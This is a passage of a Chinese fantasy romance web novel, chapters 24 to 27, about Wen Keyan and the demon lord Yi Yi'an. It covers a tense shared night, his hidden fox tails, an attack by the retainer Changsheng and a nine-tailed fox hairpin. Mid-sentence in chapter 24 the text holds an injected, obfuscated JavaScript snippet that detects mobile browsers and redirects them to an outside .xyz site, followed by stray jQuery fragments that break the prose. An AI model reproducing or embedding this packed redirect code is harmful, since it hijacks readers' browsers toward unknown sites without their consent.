双手下意识抓紧身上的锦被,文可烟惊恐地迅速扭头看向羿逸安,只见他的手指在空中灵活地舞动,似是在操纵着世间最神秘的魔法。 烛光在他的指尖跳跃,映照着他那冰冷而又带着几分戏谑的眼眸。 文可烟心中又气又恼,忍不住想骂人,却又担心真的惹恼了他,被他狠狠摔下去。 她深刻意识到,在这个世界里,如果不学点技能,真的是会被任其宰割。 虽然她确实想被“宰割”,但绝不想以这种充满恐惧、疼痛的方式啊。 她怕疼啊! “你你你……有话好好说。”文可烟死死抓着锦被,急得都结巴了。 羿逸安原本不过是想着将文可烟移到他身旁,像以往那般,让她乖乖待在自己身边睡觉。可此刻,瞧见她如此惊慌的眼神,他心中倒生出几分难得的兴致,忍不住想要逗弄一番。 他好整以暇地坐在床榻上,十分闲适,神色平淡,可文可烟却觉得他周身散发出来的气息,冰冷得直抵心底,心生害怕。 “大哥,你还不如直接杀了我。”文可烟欲哭无泪,手脚慌乱地扯动锦被,将自己完完全全包裹其中。 “这样,你痛快,我也痛快。” “哦?是吗?”羿逸安轻轻挑起一边眉毛,慵懒且松散。他似乎很享受着这场心理战带来的乐趣。 是!是!是!文可烟在心中怒吼。 还,是吗? 还,哦?是吗? 能不能给她正常点说话! “那你……?”羿逸安转动着他的手指,指尖在空中划了一个又一个小小的圆圈。他懒洋洋地问,声音拖得长长的,似乎并不急于得到结果。 文可烟抢先一步作答,“不了,我不拿走被褥了,我就这样在软榻那儿睡。” 羿逸安的目光突然变得凛冽,微微掀起眼帘,朝文可烟投去冷冷一瞥,“嗯?” 文可烟被这目光刺得心头一颤,大气都不敢出。 这……不对吗?她说得不对吗? “不,我……人和被褥……都在床上,哪儿也不去!”文可烟突然福至心灵,试探着说完。 24. 微倾(十五) 话音刚落,文可烟只觉周身一轻,整个人不受控制地旋转起来。速度快得让她眼前一阵发黑,心也随之空了又空。 她差点惊呼出声,双手下意识地在空中胡乱抓着,想要以此来稳住自己摇摇欲坠的身形,可指尖触碰到的,只有那一把虚无缥缈的空气。 待旋转终于停下,她的姿态已然从锦被覆于身上、自己在下,转变为锦被垫于身下、自己稳稳地落在了柔软的床上。 随着身体有了紧实的踏实感,她不由自主地长舒了一口气,那颗一直悬在半空中的心,终于缓缓落到了实处。她整个人呈“大”字形,毫无顾忌地摊开在床上,似要将身体中一切紧张与不安都随着这舒展的姿势一并释放出去。 雕花的灯罩里,烛火摇曳着,洒下一片昏黄而温暖的光,将文可烟和羿逸安的身影拉得长长的,交织在一起。 文可烟惬意地闭着眼睛,享受着这片刻的宁静与放松,却浑然不觉,在她呈“大”字形惬意地躺在床上时,手和腿已全然放松地在床上不自觉地划动着。她的手指轻轻划过锦被,那细腻爽滑的触感令她忍不住多摩挲了几下。 划着划着……文可烟的动作幅度渐渐大了起来,指尖不经意间,触碰到了某种不同于锦被的细腻触感。 羿逸安垂眸,目光落在那只贴在自己身侧的手指上。准确地说,是看着落在他的大腿根部侧边的手指。烛火在雕花灯罩中洒下的昏黄光线虽朦胧,却也足够让他看清那片肌肤,白晃晃的,一寸一寸刺激着他的眼部神经。 即便隔着一层布料,羿逸安也能清晰地感受到不属于自己身体的异物感。他原本从容不迫的神色瞬间僵住,身体也不自觉地紧绷起来,就连嘴角那抹若有若无的笑意,也在这陌生的触碰下凝固了。 他从未想过,自己竟然会对一个女子的触碰有如此强烈而陌生的反应。 尽管这人是他名义上的妻子。 文可烟起初全然未觉指尖触感的异样,也并留意到羿逸安的神色间的微妙变化。她的手和脚仍在锦被上无意识地划动着,一下又一下。从羿逸安侧腿部轻轻扫过,再一溜烟划至自己的侧腿部,接着又从自己的侧腿部慢慢移回羿逸安的侧腿部,如此反反复复,周而复始…… 多次重复后,她才渐渐咂摸出一点不对劲来。离自己最远那处,隐隐散发出的热意……以及她指尖的末端触感,与她划向自己腿部衣料的触感几近相同,倒像是…… 心中“咯噔”一下,她终于反应过来。 那一瞬,她的动作戛然而止,指尖微微一颤,所有的思绪都被这一触碰给抽离了,只剩下无尽的僵硬。 她整个人像尊石雕一样躺在了那里。 只是……很不凑巧,她停下的地方,正是羿逸安大腿根部侧边的地方…… 文可烟的心跳极速加快,不要命似的。她迟钝地攥紧了拳头,然后,缓缓地,小心地将手从羿逸安的大腿侧边移开,每一个细微的动作都像是慢镜头回放,生怕惊扰了这份微妙的、如履薄冰般易碎的平衡。 在收手的过程中,她头一丝一毫都不敢多动,目光紧紧地睇着自己的手,不敢有丝毫的偏移。 房间内陷入了一片死寂,时间似乎在这一刻停止流转。 文可烟呼吸都刻意放缓了,变得缓慢且轻浅,像是她这个就不存在于世间一般。 两人陷入了一片诡异的沉默之中。 就在文可烟准备偷偷瞄一眼羿逸安时,烛火不知何时已经摇曳得微弱不堪,最终“噗”的一声熄灭了,只留下一缕淡淡的青烟,在黑暗中袅袅升腾。 文可烟面对着这突如其来的变化,心中不由得庆幸大喊—— 这烛火熄得真及时! 他应该还没发现什么。 文可烟眨眨眼睛,适应了眼前的黑暗后,竟大胆地偏过头,朝羿逸安的方向看去。在黑暗中,她无需再掩饰自己的目光,可以肆无忌惮地观察着他。 不过,在一片漆黑中,她什么也看不见,只能看见一些模模糊糊的轮廓。而触觉在此刻异常敏锐,她能感受到一股毛茸茸的触感从指尖传来,温暖却陌生。 起初她以为是白酒,可下一秒,她反应过来,白酒早就应该回它自己的“小黑屋”了。 那这……是什么? 她只觉背后一凉,不由自主地大喊一声:“羿逸安!” 室内寂静无声,只有文可烟的喘息声在黑暗中回荡着。得不到回应,她心中更加慌乱。 正当文可烟手足无措到几乎要在这黑暗中胡乱摸索时,一声低沉而喑哑的“嗯”从羿逸安的喉头缓缓溢出,压抑而克制。 文可烟心神本就慌乱,满脑子都是刚刚惊悚的绒毛触感,又怎会留意到羿逸安音调中蕴含着十分微妙的颤抖。在她听来,那不过就是夜色中再寻常不过的一声回应。 黑暗中,羿逸安的身躯不自觉地紧绷。文可烟那突如其来的触碰,对他而言,无异于一场突如其来且细密的风暴。 他连它们的面貌都没展示给过其他人,怎么就被摸了? 哪怕刚刚她的指尖只是与那处最外层的柔软毛发轻轻相擦,却也足以让他控制不住自己身体的反应。 羿逸安强忍着身体上的各种反应以及内心那些不知名的情绪,只能在那短暂的一刻,发出一个略带隐忍的低音音节。短促音节中,藏着连他自己都未曾察觉的微妙情绪。像是羞涩,又像是难以名状的渴望,又或是其他什么……他自己也无法言说。 “你……在啊!”文可烟轻吐口气,紧张的情绪稍微缓解了一些。随即,又想起了什么,急忙问道:“白酒呢?” “不知道,或许跑哪儿去玩了吧。”羿逸安忍耐住某些未知的音调,试图让自己声音听起来平静一些。只是他回答虽快,却带着明显的疏离。 “那我刚刚摸到到的是什么?”文可烟手指不自觉轻轻摩挲着,小声嘟哝着。 羿逸安不语,喉结微微一滚,像是在吞咽着什么难以言说的情绪。 文可烟这时眉头微蹙,伸处双手在空中摸索,“你……在哪儿?听上去,你好像在软榻那边?” “嗯。” 羿逸安这次的“嗯”跟上次的“嗯”有明显的区别,这一次略显疲惫与无奈。 只是这些期间的差别,文可烟并未注意,她此刻的心思全在羿逸安究竟在哪儿 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16423438|184831||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 文可烟嘴微微一撇,“这是什么意思?让我到床上,自己反而独占软榻?” 经过刚刚那一遭,她现下倒是不敢一个人躺在床上了…… 羿逸安闻言,睫毛扑扇两下。他轻咳一声,握拳虚放在唇边,故作冰冷,“我……本座自然会回去。” 结巴什么? 文可烟只是短暂地疑惑了一下,随即便将这份疑惑抛诸脑后。 “哦。” 她虽答应了,但内心的不安仍让她难以闭上眼睛,只能睁着眼睛,紧紧盯着黑暗中的羿逸安那模糊轮廓。 时间一分一秒地流逝,她的耐心渐渐消磨,终于忍不住再次开口问道:“你……好了吗?” 羿逸安听到文可烟的询问,眉头微微皱起。他能感受到文可烟今晚有些不同寻常,但具体哪里不对劲,一时却说不上来。 他下意识低头,双手在自己身后轻轻摸索着。确认自己一切如常后,才缓缓起身,朝床边走去。 感受到那细碎的脚步声逐渐靠近,文可烟紧绷的神经,终于放松下来。她原本揪着被角的手,逐渐松开。 随着那细碎的脚步声,由远及近地淌入耳畔,她缓缓闭上双眼。 只是……刚合上眼帘,一股异样的暖流便悄然袭来。 是羿逸安的体温,比往常更加炽热,穿过厚重的被褥,直抵她的肌肤。 文可烟忍不住再次睁开眼,转身朝羿逸安的方向看去。黑暗中,她只能隐约看到羿逸安的轮廓,这份朦胧的距离感却让她心中生出一个莫名的猜想。 她轻轻开口,“羿逸安?” “嗯?”羿逸安略缥缈的声音,在黑暗中悠悠传入文可烟耳中,她确定了自己的猜想。 果然,羿逸安此刻正睡在床沿边缘,离她远远的。 …… 联想到今晚的那名女子,以及羿逸安的异常体热。一个念头在她的心底悄然滋生,她猜到了什么,她轻轻冷“哼”一声,随后扭过头去,不再说话。 呵,男人!她现在可不会做什么心怀大度的正室。 不对! 呵,男魔!她现在可不会做什么心怀大度的正主。 羿逸安听到文可烟这突如其来的轻哼,有些不明所以。 “怎么?”吐出的两个字,镶着寒霜,冷冷的,不带一丝温度。好似只有这般冰冷的话语,才能抵住心底那些黏糊又混乱的情绪。 回应他的,只有文可烟那悠长而均匀的呼吸声。 羿逸安只当她睡着了,只是在梦中无意识地发出声响。 他复杂的闭上双眼,将头侧过另一个方向,不在多想。 两人就这么相安无事,距离相隔甚远地睡了一晚…… * 第二日,羿逸安率先苏醒,他动了动身子,可一睁眼的情形让他瞬间手足无措…… 文可烟的左手正搭在他的右肩上,左腿则随意又肆意地横跨在他的腿上,妥妥一副将他整个人牢牢地“囚禁”在床上的模样。 羿逸安的大脑在那一刻像是被一场突如其来的冰天雪地席卷,所有的思维都被冻结,完全失去了思考的能力。 25. 微倾(十六) 唯有那双呆滞的眼眸,像是被泼洒上了几滴浓墨,成为惨白面容下唯一异样的色彩,懵懂且无措。 羿逸安那双深不见底的眼眸中,倒映着文可烟近在咫尺的面容。她的发丝有些凌乱,几缕碎发调皮地贴在脸颊上,随着她的呼吸,有节奏地颤动,轻飘飘……撩拨着他那敏感却又好似快要锈掉的弦。 周围的一切都变得遥远而虚幻。 阳光洒在羿逸安脸上,本应是温暖而惬意,可此刻这份突如其来的亲密所带来的震撼令他浑然未觉。 一时间,他忘记了本能反应的眨眼睛,目光直直地落在文可烟身上。好半晌,他才从这梦幻般的触感中缓缓抽离,回过神来。 文可烟的衣袖被他捏在指尖,轻轻掠过。他试图以一种不惊扰她的方式将她的手从自己的肩上挪开。 指尖莫名泛起细微的麻意,羿逸安捏紧食指与拇指指尖,手中文可烟的衣袖自然更紧密地缠在他指尖,麻意也更甚之。 文可烟像是有所感应,身体微微一侧,轻巧地避开了羿逸安的触碰。她的左手非但没有松开,反而更加牢固地搭在他的左肩上,沿着他的颈侧一点点滑落。 当手指落到她觉得顺手的位置时,她指节蜷曲,用力稳稳地扣住。羿逸安便朝她又贴得更近一些,整套动作行云流水,没有一点儿停顿,似在无声传递让他安静点的信息。 羿逸安的心脏随着文可烟的用力而猛然紧缩,他从未经历过如此微妙的情感风暴,一时之间,身体紧绷得什么也做不了,脸颊也开始染上了微微粉色。 就连他身后从不示人的尾巴,似乎也感受到了主人的尴尬与慌乱。在这一刻不受控制地探出,在空中兴奋地舞动着…… 尾巴不合时宜的动静实在太狂,狂得连晃了神的羿逸安都注意过来,他心头猛地一颤,只感觉自己此刻就像是被扒光了衣服,赤裸裸地扔进了炽热的火炉之中。周围全是窥探的目光,自而他却无处可逃。 这不仅仅是身体上的,更是心灵上的煎熬。整个思绪陷入了无措的慌乱之中,四处乱撞却又找不到出路。脸颊的红晕迅速扩散,一路蔓延至脖颈,几乎要燃烧起来。 逃离的念头在他脑海中一闪而过。 变回原身,逃离这个让他手足无措的尴尬境地,成为他目前唯一能想出来的最迫切的渴望。 慌乱如他,此刻大脑一片浆糊,甚至忘记了自己还拥有化作一缕青烟消失无踪的能力。 可每当他为变回原身这个念头作出实际行动时,心中便会涌起一股莫名的抗拒。那是一种对未知的恐惧,是对自我暴露的不安,是一种对自己自我保护的意识…… 自母亲离世后,他小心翼翼地隐藏着真实的自己,尾巴更是从未露面。可……为何偏偏在如此关键的时刻……还出现了两次…… 他闭上眼睛,平复着内心的波涛汹涌,想要找回一丝冷静。 正当他下定决心,准备不顾一切变回原身挣脱这尴尬的束缚时,身旁的文可烟在此刻悠悠转醒。 两人的目光在空中不期而遇,近在咫尺,大眼瞪小眼。 “……” “……” 一种微妙而复杂的情绪在空气里弥漫开来,尴尬与紧张交织,几乎凝固成实质。 两人的心跳都乱得如同擂鼓,彼此交织,分不清到底是谁的心跳声更大,谁的心跳声又始终在耳边回响。 文可烟十分勉强地挤出一丝笑意,打破这窒息又尴尬的沉默:“哈……哈……那……那个……你好!” 她的声音在寂静的房间里实在突兀。 羿逸安这一刻不知道是为了躲避文可烟的目光,还是掩饰自己说不清的情绪,对她的问候充耳不闻,反而将目光转而紧紧锁定在自己肩头那只柔软的手上。 冷冽的表情冲淡了这满室旖旎,他实在不理解,这小小的手,这小小的身体接触,怎至于此…… 如此失态,如此心绪不宁…… 文可烟全程不敢直视羿逸安,但由于羿逸安反应实在太过反常,呆愣的时间过长,她不得不顺着他的目光看去…… “……” 她讪讪地将自己的手瞬间挪开。 随着手的撤离,羿逸安这才从一场漫长的思考中惊醒。他猛地坐直了身子,脊背听得笔直。垂眸,双手紧紧地握住拳,指甲几乎嵌入掌心,疼痛似乎使他稍微清醒一些。 文可烟偷偷瞄了一眼羿逸安,他坐在那里,一动不动,视线一眼不眨落在某一处。 她又跟着看过去,这才猛然发现自己的腿还搭在他的身上…… “……” 文可烟匆忙低下头,连羿逸安的肩膀与腿都不敢直视了。双手被情绪驱使着迅速抬起,掩住了那滚烫的脸庞。 可点点绯红依旧从她的指缝间偷偷溜了出来,若隐若现,散在空气中,散在阳光下。 于此同时,蒙眼的文可烟还不忘讪讪地、小心翼翼地、缓缓地、一寸一寸地将腿从羿逸安腿上挪开。 一个不经意的瞬间,一抹奇异的景象闯入了她指缝间的视线。 洁白如雪、柔软至极的毛茸茸物体在空中疯狂“群魔乱舞”。 还不止一条! 电光火石之间,文可烟的脑海中闪过昨晚那毛茸茸的触感…… 她毫无察觉地松开双手,用力眨了眨眼睛,试图将那些纷乱的思绪抛诸脑后,让自己从这场梦幻般的回忆中清醒过来。 当她再次睁开眼睛时,眼前的景象却让她晃神——羿逸安已经消失得无影无踪,只留下空气中那一缕淡淡的、还带着他体温的青烟,正缓缓飘散,如同他从未存在过一般,连带着那些毛茸茸的东西一起消失…… 文可烟看着前方的空气,心中五味杂陈。她张了张嘴,却发现自己竟一时语塞,那些问号如同连珠炮般在脑海中炸响…… 他…… 他…… 他……是什么……东西? 所以昨晚那个毛茸茸的触感不是白酒,是……羿逸安? 那……他…… 可他……他不是魔尊吗? 他不是魔族的老大吗? 怎么会有……尾巴? 是尾巴吗? 可以叫尾巴吗? 还有那么多条…… 下一秒,她又觉得既好气又好笑。 他最后……她都没委屈上,他倒委屈上了?究竟谁是女孩子? 事情发生得太过突然,以至于文可烟 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突然,一道影子从门外投影到膳桌上,长长的,诡异又奇怪,遮住膳桌上一些菜品的色泽。 文可烟挑菜的手一顿,筷子停在半空中,低垂的眼眸顿了几秒才缓缓抬眸看去。 那双与那张脸完全不相配的眼睛,此刻正好与文可烟的视线对上。 文可烟一上午的所有高涨情绪在这一刻瞬间冻住,凝结成冰。 文可烟压下心中的不适,平静无波的外表下,她淡淡开口:“我似乎在哪儿见过你。” 说完,她便盯着那人。 长生躬身行礼,态度恭敬,可那双眼睛却总让文可烟心生反感与不适。 “小殿下,一直忘了介绍,属下名叫长生。”长生低着头,声音低洪亮却清晰,好似生怕文可烟听不清一般。 忘了介绍?恐怕是当她是个死人,根本不值得他花费时间介绍吧。可没想到,她能活到现在。 文可烟可谓演技大爆发,也跟着演起来。 “长生?” 她轻轻垂眸,放下手中的筷子,姿态优雅得如同画中仙子。接着,她脸上适时地露出了疑惑的神情,神色中满是思索,像是在回忆什么。 “那日来轿前迎接我的,便是你吧?” 长生低眉顺眼,一副谦卑的模样,让人难以挑出丝毫瑕疵,谁看了不说一个好字。 “正是。” “那你便是……”文可烟掀起眼皮,故意停顿一瞬,连看向长生都眼神也跟着停滞一下,似吊足了长生的胃口。随后,她才轻飘飘吐出几个字,“尊上的得意手下吧!” 长生似乎有些意外,身形竟不由自主地微微一颤,“属下不敢。” “你此行前来,所为何事?” 文可烟这句话一出,就像是一个暗号般,让长生在这一瞬间,眼神都变得凌厉起来。 文可烟则丝毫不惧,不慌不忙端起茶杯。 只见长生猛地伸出右手,直扑文可烟的脖颈而去,迅速且凶狠。动作间,带起阵风,呼呼作响,样子看着像是要把文可烟大卸八块。 文可烟如能预见般,反应迅速,灵巧一闪,躲开了长生的攻击。 26. 触动(一) 显然,长生低估了文可烟的反应能力,扑了个空。一掌之下,空留满室风声,身体的惯性不受控制可不会因为误判而消失。超出的几步路,正诉说着些许尴尬。 长生转过头看向文可烟,脸上露出阴鸷的笑容,在他那双衰老的眼睛衬托下,更显诡谲。 “尊上将小殿下护滴水不漏啊,每天在这净不辞辛劳地施法加固结界,生怕小殿下有丝毫闪失。可今日,终究让我有机可乘,哈哈哈……想必,尊上终是厌弃小殿下了吧。” 每天都施法加固吗? 文可烟的心中猛地一颤,那些被忽略的小细节在此刻都变得清晰起来…… 她想起羿逸安每日离开时的情景,他总是笨拙步行至门口,从不化作青烟。 门外,他又究竟做了什么?文可烟无从知晓。 但此刻,一切似乎都有了答案,他是在加固结界。而今日,他走得如此匆忙……还没来得及,就…… 在文可烟短暂的失神间,长生瞅准了机会,猛地一掌击向她的肩膀,掌风在空中无形胜有形,狠绝又阴冷。 文可烟只觉一股剧痛袭来,火辣辣的感觉瞬间从肩上蔓延开来,如同烈火般灼烧着她的肌肤。 她疼得身体不受控制地发抖,可她挺直身子,依旧用淡然的语气开口:“不如,给个痛快,让我安静的死。” 长生的动作在那一刻突然凝滞,脸上浮现出极为复杂的神情,那是一种混合了谦卑与嘲讽的笑意:“小殿下,你配吗?” 言罢,长生神色陡然一转,原本还算平和的面容瞬间被狠绝取代。 文可烟迎上长生的双眼,突然觉得,世人传颂的魔头,也不及眼前这魔一半可怖。 “小殿下应该也知晓了‘一线生机’罢,你既已将其吞下,却仍活到现在,不觉得奇怪吗?你猜猜,接下来会怎样呢?” 哦,那得了。 文可烟微微垂下头,她起初还天真地想着,死在长生手下也未尝不可,总归是尘归尘、土归土。可现在看来,这想法实在是可笑。以长生这狠厉的劲头,又怎会让她痛痛快快地死去? 要是羿逸安之前同意了长生的请求,由羿逸安亲自处决,或许文可烟还能死得痛快点。但若是落在长生手里,只怕会想尽办法将她折磨得生不如死,从她身体中探寻“一线生机”的丁点线索,让她永远囚在无尽的痛苦与挣扎中。 在这群魔眼里,她不仅是那个魅惑魔尊,让魔尊说出此生只娶她一人的妖女,还是掌握“一线生机”生死关窍的唯一奇人。她若不被这群魔头折磨得生不如死,以此泄愤,又有谁配得上这般“殊荣”呢? 下一秒,长生再次攻势迅猛地向她袭来。 可这一刻,文可烟闭上了眼,睫羽轻颤。 虽说文可烟想死,但此刻她不知为何产生了一种奇怪的感觉,一种莫名不想死、更不该死在此魔手下的感觉。何况,她十分清楚地知道,长生这一掌不会治她于死地,只会是折磨的开端。 时间在这一刻暂停,想象中的剧痛并未传来,文可烟有些疑惑地睁开眼睛。白酒不知何时已躺在她身旁,周身散发着若有若无的光芒,很是虚弱。 !!! 白酒在关键时刻,用自己的力量,为她挡下了这一击。 文可烟的眼中闪过一丝复杂的情感,狠狠地朝长生看去,却见他的身影再次一闪,如同鬼魅般再次向她袭来。速度快得根本来不及反应。 文可烟的身体下意识地瑟缩了一下,双手紧紧地攥住裙角。 熟悉的疼痛感并未传来,文可烟抬起头,映入眼帘的是羿逸安可靠的身影,稳稳地挡在她身前。 她有些摸不透了…… 之前他让她不要出净地,她一出净地就生气;那次她出现在议事阁,他气得冷脸,直接不与她说话;上次她出现在他的寝宫却意外被长生看见,他直接将她推回净地;这几天都加固结界……或许还有好多好多……那些她知晓……那些她不知晓的事情…… 他为何要暗中保护她呢? 他…… 可她不想要他的保护…… 文可烟眼皮越来越沉重,眼睑再也支撑不住,直接昏迷过去。 * 再次醒来时,文可烟只觉脑袋昏沉得厉害。她不知道自己睡了多久,只感觉身体十分软绵绵的,连动一动手指都很是艰难。 文可烟强撑着想要起身,在起身的过程中,余光注意到羿逸安正站静静在床边。 两人视线不可避免地相撞,一时间,两人都没有说话。 文可烟率先低下了头,继续保持着静默。她总觉得羿逸安的视线一直落在她身上,久久不动。她终于受不住,抬眸看向羿逸安,却发现他的目光并没有落在她的身上,而是越过她,落在了她身侧。 文可烟顺着羿逸安的视线看去,只见白酒正安静地躺在那里,周身的光芒已经变得十分微弱,似乎随时都会熄灭一般。这样的状态与上次相比,简直有过之而无不及,几近相似,甚至更差。 文可烟的心瞬间提到了嗓子眼,回过头看向羿逸安,喉头发涩:“你不是在这吗?它为什么没有进那个……那个‘小黑屋’?” 羿逸安只是淡淡地看了她一眼,没有回答。 “你今天没带?”文可烟闭上双眼,有些绝望。 羿逸安轻轻地摇了摇头,他的身上所有东西都没有换过,从未改变过。 “那你把你身上所有东西都拿出来!”文可烟心急如焚,顾不上自己身上的伤,身子前倾,差点从床上起身帮羿逸安翻找。 羿逸安被这般吼着,不仅没有恼怒,反而催下眼眸,那模样看着竟有几分乖巧。自然地接受了文可烟的命令,逐一拿出了狐狸吊坠,接着是储物袋…… 差不多拿完身上所以东西后,羿逸安突然停下了动作,右手有些僵硬地停留在衣襟处,手指蜷缩着,似乎在犹豫什么。 文可烟并没有注意到他这些细微的动作与表情变化,她的视线黏在了那个储物袋上。在她看来,储物袋就是万能的宝藏库,里面藏着无数的法宝神器、灵丹灵草、灵石宝石、秘籍功法……甚至还有什么能够提升修为、增强实力的各种奇珍异宝。 文可烟满心期 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虽然九尾狐簪和白酒都散发着同样微小的光芒,可白酒却迟迟没有进入簪子之中。 文可烟视线在簪子和白酒两者之间来回流转,蹙起眉头。直觉告诉她,这支九尾狐簪就是白酒口中所说的“小黑屋”,可…… 为何白酒此刻却毫无动静呢? 上次白酒是怎么回去的? 上次羿逸安一来,白酒就直接消失了,这支簪子甚至都不用现身…… 可为什么……这次,簪子现身了,却什么也没有发生。 文可烟心跳越来越快,一种不安的情感骤然上升。 难道这次,白酒太过虚弱,以至于连主动进入“小黑屋”的力气都没有了吗? 文可烟不敢再想下去,迅速从羿逸安手中抢过九尾狐簪。 指尖触碰到簪身的那一刻,倏地感受到一股温润的触感,像是春日里第一缕温暖的阳光,轻轻洒在她的指尖,又像是激起千层微浪,在她心底久久不息。文可烟颤抖着地捧着簪子,尝试着将簪子更靠近白酒。 就在这时,一道白光带着微弱的五光十色闪过,白酒一下子消失在簪子之中。 文可烟这才长长地松了一口气,憋了许久的惆怅终于得以释放。她紧握着手中那只九尾狐簪,不由自主地将它贴近自己的胸口,感受着那份失而复得的安心。 簪子贴在她胸口,传来阵阵温热,好似白酒在向她传递着平安的讯号,让她的心跳也渐渐平稳下来。 此时,屋内静谧无声,羿逸安的目光却始终如影随形,落在文可烟手中的九尾狐簪上,眸光晦暗不明,充满了复杂的情绪。 文可烟终于察觉到了那落在自己身上许久都未曾移开的目光,她隐隐意识到了什么。原本紧紧护着胸口的双手,此刻缓缓放下,迟疑地将手中那支九尾狐簪递回给羿逸安。 羿逸安的目光紧紧追随,却又在九尾狐簪露出全貌后,眼神开始闪躲起来。 他偏过头,不敢直视这簪子,伸出手的动作异常迟缓僵硬。 27. 触动(二) 那只在半空中陡然停下的手,像是不小心误闯了什么禁地,害怕触碰到一直隐匿在暗处的禁忌。 文可烟的视线聚焦于羿逸安的手,她瞧得真切,羿逸安指尖的颤抖,无一不在诉说簪子的不同寻常。 这般小心翼翼的样子,就像这九尾狐簪,自被放进衣襟的那一刻起,便成了他心底最深处的秘密,从未再被拿出过。一旦触碰,便会释放出无尽的痛苦,陷入哀伤。又好似他始终不敢直面这支簪子的全貌,因为害怕睹物思人。而只要不看,那些回忆似乎就能暂时被压在心底的最深处。 文可烟一不做二不休,将簪子塞回到羿逸安手中。也不知出于什么原因,她试图用言语转移他的注意,问:“白酒应该没事了吧?” 羿逸安摊开的手掌,像是被什么力量推动,缓缓收紧,最终紧握成拳,力度大得好似要将那份不知名的情绪都深深掩在心底。直到簪子只露出一小部分面貌时,他这才敢看向那支九尾狐簪。接着,从喉管中闷闷地哼出一声:“嗯。” “那你收好吧,还是放在之前的位置比较好。”文可烟目光落在羿逸安的脸上,停留了片刻,再次出言转移他的注意力。 羿逸安似乎也察觉到了文可烟的心思,过了几秒后,他的目光从那支九尾狐簪上收回。随后,簪子从他紧握的手中消失了。 随着他手的动作,文可烟的目光缓缓下落,最终定格在他空无一物的掌心。那一刻,她的心中涌起一股莫名的空落感,说不清道不明。 就在这时,一阵突如其来的刺痛从她的右肩传来。她不禁蹙起了眉头,下意识地低头,看向自己的右肩。肩颈处,丝丝血迹正逐渐渗透出来,沿着衣物的纹理缓缓蔓延,在浅色衣物上衣开出了一朵凄美的血花。 她这伤口是被处理过了? 她微微动了动身子,指尖不经意间触碰到身上的衣料,眼珠微微一滑,目光却落在一旁。 身上的衣裙已不再是她之前所穿的那件。 文可烟猛地抬起头,不由自主地将视线落在了羿逸安的脸上。可当眼神触及他的瞬间,又刻意闪躲起来。 她这是……被换过衣裳了? 这一念头如同一块巨石,猛地砸进文可烟波澜不惊的内心,刺激着她的每一根细小神经。 一时间,小屋里的氧气变得稀薄起来。文可烟一阵不自在,以至于忽略了从肩膀处的传来的清晰疼痛。 她微微屈起藏在锦被下的双腿,想要找到一丝安全感。 羿逸安此时也正被自己昨日尾巴泄露的尴尬事件搅得心神不宁,眼神闪烁不定,视线一直飘忽在其他地方,就是不与文可烟对视。 羿逸安余光留意着文可烟的动向,当他瞥见了锦被凸起的那处时,以为文可烟是疼得厉害,问出了口:“怎么了?” 文可烟低着头,用正常的声线,看似平静问出:“我这衣裙是谁换的?”可只有她自己知道,指尖正下意识在隐蔽的角落,在锦被上轻轻划来划去。 两人都在与对方交谈,却又都选择不看对方。此刻,小屋里呈现出了一种两人根本不像在同个画面,却又奇妙相合的割裂感,好似两幅并置却又各自独立的画卷,在静谧中默默微妙。 羿逸安闻言,把那些别扭情绪瞬间抛诸脑后,突然神色如常看向文可烟,“是没换对吗?” 文可烟听到这话,不发一言,抬起头目光直直的看着羿逸安,眼神异常平静,却又藏着千言万语。 她只是想要答案,可他却和她扯别的。 羿逸安与她对视着,眼底的死海毫无喧嚣,平静地过于异常,“我换的。” “……” 文可烟一梗。 好家伙,这是看了多少女子的身子,才能这么冷静,这么平静无波…… 她自然没有羿逸安这般如此镇定,目光四处游离,无处安放。那锦被都快被她划出一个真实存在的圆圈了。 就在她心烦意乱,不知说什么之际,突然被锦被的一角吸引住了目光。 那里,正静静躺着一枚狐狸吊坠。 她停下手中的动作,眼珠流转,可当她仔细扫了一圈周围后,并未找到其他物品。 储物袋和其他的东西都不在这儿,为何偏偏这枚狐狸吊坠还留在这儿? 正沉浸在自己的思考之中,羿逸安毫无情绪的声音在文可烟耳畔响起,“这枚狐狸吊坠,还是留在你这儿吧。” 文可烟朝羿逸安看去,却见他此刻又避开了视线,侧过了脸,冷冷道:“至少……我不在你身边,你遇到危险时,还能凭借这吊坠逃出这净地。” 文可烟一愕,她怎么从他这面无表情的外表下,隐隐看出一丝愧疚情绪? 这突如其来的愧疚是因何而起? 是因为他把狐狸吊坠收走了?把她今日本可以逃跑的唯一机会给掐断了? 还是因为,他意识到自己的行为可能将她推向了更加危险的境地? 可……要不要告诉他,即便她今日戴着这枚狐狸吊坠,也难逃长生的攻击……毕竟她……确实有些废材。 而且,她其实并不在意这些,她真正想要的,他始终没给她。 昏暗的光线,将那枚静静躺在锦被上的狐狸吊坠映照得影影绰绰。文可烟的目光紧紧黏在它身上,好似这小小的吊坠里,承载着她所有的心事与秘密。 她突然小声出口:“羿逸安,你一直知道,是吗?”声音虽轻,却透着不容忽视的坚定。 说完,她抬起头,那双眸子紧紧锁住羿逸安。眼里的炽热与执着烈烈燃烧着,其中光芒似要将不甚明亮的小屋点得天光大亮,又好似要将羿逸安彻底融化在这片名为文可烟的火海中,让他无处可逃。 羿逸安眼神一凝:“什么?” 文可烟直直地凝视着羿逸安的眼睛,目光比来这之后的任何时候都要闪耀,“你知道我想要的是什么。” 羿逸安被她这突如其来的话语弄得一懵,眼神中闪过一丝惊愕,像是被她看穿了心底最深处的秘密。随后,他垂下眼帘,陷入了沉默。 文可烟依旧固执得看着羿逸安。 “你要不就从了吧,你不是一直想找到‘一线生机’到底是什么毒药吗?我可以让你研究我的尸体。只要…… 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羿逸安脚步一顿,停了下来,只留一个高大的背影给文可烟。本只是冷寂的背影又多了一种说不出的落寞。听完后,他不为所动,淡淡青雾开始萦绕在他周身。 文可烟见状,心中一横,“我想要你那支九尾狐簪,给我或者杀我。” 那支九尾狐簪,一看就对羿逸安的意义不平凡。她让他做出选择,任谁也知道该选什么,这分明就是一场带着几分任性与挑衅的豪赌。 